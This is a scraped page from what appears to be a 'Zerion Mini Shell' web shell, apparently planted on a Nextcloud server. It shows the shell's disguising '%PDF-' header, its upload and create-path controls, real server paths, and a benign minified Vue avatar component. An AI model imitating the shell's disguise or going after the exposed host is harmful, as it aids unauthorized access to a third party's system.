%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /www/varak.net/nextcloud.varak.net/apps_old/apps/text/js/
Upload File :
Create Path :
Current File : //www/varak.net/nextcloud.varak.net/apps_old/apps/text/js/AvatarWrapper-B4b1CdS4.chunk.mjs

/*! third party licenses: js/vendor.LICENSE.txt */
import{n as t,k as r}from"./_plugin-vue2_normalizer-XF5BqDH-.chunk.mjs";import"./public-CBtR8U5E.chunk.mjs";import"./modulepreload-polyfill-DMTabKmO.chunk.mjs";import"./index-WINsn-uD.chunk.mjs";const i={name:"AvatarWrapper",components:{NcAvatar:r},props:{session:{type:Object,required:!0},size:{type:Number,default:()=>32}},computed:{sessionAvatarStyle(){return{...this.sessionBackgroundStyle,"border-color":this.session.color,"border-width":"2px","border-style":"solid","--size":this.size+"px","--font-size":this.size/2+"px"}},sessionBackgroundStyle(){return{"background-color":this.session.userId?this.session.color+" !important":"#b9b9b9"}},guestInitial(){return this.session.guestName===""?"?":this.session.guestName.slice(0,1).toUpperCase()}}};var o=function(){var s=this,e=s._self._c;return e("div",{staticClass:"avatar-wrapper",style:s.sessionAvatarStyle},[s.session.userId?e("NcAvatar",{attrs:{user:s.session.userId?s.session.userId:s.session.guestName,"is-guest":s.session.userId===null,"disable-menu":!0,"show-user-status":!1,"disable-tooltip":!0,size:s.size}}):e("div",{staticClass:"avatar",style:s.sessionBackgroundStyle},[s._v(" "+s._s(s.guestInitial)+" ")])],1)},a=[],n=t(i,o,a,!1,null,"c1137ffa");const d=n.exports;export{d as A};

Zerion Mini Shell 1.0